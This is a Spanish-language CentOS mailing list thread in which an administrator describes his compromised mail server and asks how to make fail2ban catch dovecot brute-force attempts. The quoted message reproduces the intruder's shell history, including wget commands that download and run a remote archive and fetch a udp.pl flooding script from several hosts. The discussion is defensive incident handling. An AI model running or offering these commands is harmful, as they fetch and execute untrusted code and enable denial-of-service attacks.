Podías considerar que ese servidor ya esta tomado podrías y seguirían
haciéndolo mientras más seguridad le pongas más trabajo le daras pero
seguirán con lo mismo creo q debes considerar darle de baja, y armar Otro
servidor en paralelo con otra ip publica pero con otra protección y
cerrando algunos puertos.
El abr 5, 2013 10:12 a.m., "Luis Alberto Roman Aguirre" <
luisroma...@hotmail.com> escribió:
> Buenas amigos Listeros:
> Retomando el tema del servidor de correos, perdón por el retraso, y
> agradeciendo por la respuesta a:José María Terry Jiménez,Jesus Armando Uch
> Canu,Jose Fernández Rodríguez,Francesc Guitart ...a la LISTA en GENERAL
> ..y si me olvide de alguien mil disculpas.
> Bueno, es comento que los días posteriores fue tanto el escaneo que al
> final tomaron posesión de mi servidor a través de un usuario el cual borre
> pero nada tuve que formatear el servidor todo de cero de nuevo.Pero todo
> esto paso (CREO YO) , por un un usuario el cual descargo y ejecuto este
> archivo:
>
>
>
>
> wget
> www.csservers.ro/csservers_redirecte_linux_hlds.tar.gz
> tar -pxzf csservers_redirecte_linux_hlds.tar.gz
> ps x
> killall screen
> ps x
> free -m
> screen
> cd csservers_redirecte_linux_hlds
> ./start
> cd ..
>
>
>
> #wget
> http://y2khom3.evonet.ro/udp.pl
> #wget
> www.buble.biz/alinftp/udp.pl
> #wget
> www.packetstormsecurity.org/DoS/udp.pl
> #ps x
> #cd /tmp
> #ls -a
> #w
>
>
>
>
>
>
> Ahora les detallo que ingresaron por un usuario el cual hace reenvio de
> correos a nivel local el cual no tenia contraseña, en el nuevo servidor le
> puse contraseña a todos los usuarios y demas con
> caracteres(mayusculas,minusculas y numeros). Lo que me sorprende fue aun
> despues de reinstalar el centos , creo ya que me agarraron de punto ,
> porque note que sigo siendo escaneado por la misma lista antes de la
> reinstalacion les copio parte y les adjunto en txt:dovecot: Authentication
> Failures:base: 1376
> Time(s)root: 52
> Time(s)postmaster
> rhost=190.210.136.21 : 32 Time(s)mlizana
> rhost=10.1.0.28 : 20 Time(s)aa
> rhost=113.162.161.245 : 18 Time(s)admin
> rhost=183.60.20.40 : 14 Time(s)mconde: 10
> Time(s)test
> rhost=183.60.20.40 : 10 Time(s)admin1
> rhost=183.60.20.40 : 8 Time(s)dedicated
> rhost=183.60.20.40 : 8 Time(s)html
> rhost=183.60.20.40 : 8 Time(s)user1
> rhost=183.60.20.40 : 8 Time(s)bdsistemas:
> 6 Time(s)
> La ip segun lo investigado es de China:
> http://whatismyipaddress.com/ip/183.60.20.40 y salio esto:(ojo hay otro
> router que salio mientras escribía es este http://201.77.5.191/ de
> Brazil)General IP
> InformationIP:183.60.20.40Decimal:3074167848Hostname:183.60.20.40ISP:ChinaNet
> Guangdong Province NetworkOrganization:ChinaNet Guangdong Province
> NetworkServices:None detectedType:BroadbandAssignment:Static
> IPBlacklist:Geolocation InformationCountry:China
> State/Region:GuangdongCity:GuangzhouLatitude:23.1167 (23° 7′ 0.12″
> N)Longitude:113.25 (113° 15′ 0.00″ E)
>
> Por recomendación de los ya mencionados amigos instale el fail2ban pero
> creo que no hace nada o bien algo estoy haciendo mal ,posteo
> configuracion:Jail.conf[dovecot-pop3imap]enabled = truefilter =
> dovecot-pop3imapaction = iptables-multiport[name=dovecot-pop3imap,
> port="pop3,pop3s,imap,imaps", protocol=tcp]
> sendmail-whois[name=dovecot-pop3imap, dest=root, sender=u...@xxx.xxx]logpath
> = /var/log/maillogmaxretry = 2#findtime = 600bantime = 5200
> En la carpeta filter.d/dovecot-pop3imap.conf tengo
> esto:[Definition]failregex = dovecot: auth-worker\(default\):
> sql\(.*,\): unknown userdovecot: (pop3|imap)-login:
> Aborted login \(.*\): .*, \[\]dovecot: (pop3|imap)-login:
> Disconnected \(auth failed, .*\): .*, \[\]dovecot:
> auth\(default\): passdb\(.*,\)\: Attempted login with password having
> illegal charsdovecot: (pop3|imap)-login: Disconnected \(auth
> failed, .*\): .*, \[\]dovecot: (pop3|imap)-login: Aborted
> login: .*, \[\]ignoreregex =
> La cosa que los escaneos que me hacen al dovecot el fail2ban no tiene
> idea de ellos, algo estoy haciendo mal?, estoy por probar el OSSEC, pero
> si hay otra herramienta o bien algo mas que se pueda hacer, ya que ser
> victima de nuevo y lo peor que me baneen en la black list para una
> empresa que depende del correo es lo peor que les puede suceder, hablo por
> la experiencia amigos.
>
> Gracias por la ayuda , por leer este mail, y por soportarme amigos, desde
> ya muchas gracias por sus respuestas.PDT:prometo responder como me fue ,
> asi ayudar a alguien mas que pueda tener este problema
> Atte.
> Luis Roman
>
>
>
>
>
>
> ___
> CentOS-es mailing list
> CentOS-es@centos.org
> http://lists.centos.org/mailman/listinfo/centos-es
>
>
___
CentOS-es mailing list
CentOS-es@centos.org
http://lists.centos.org/mailman/listinfo/centos-es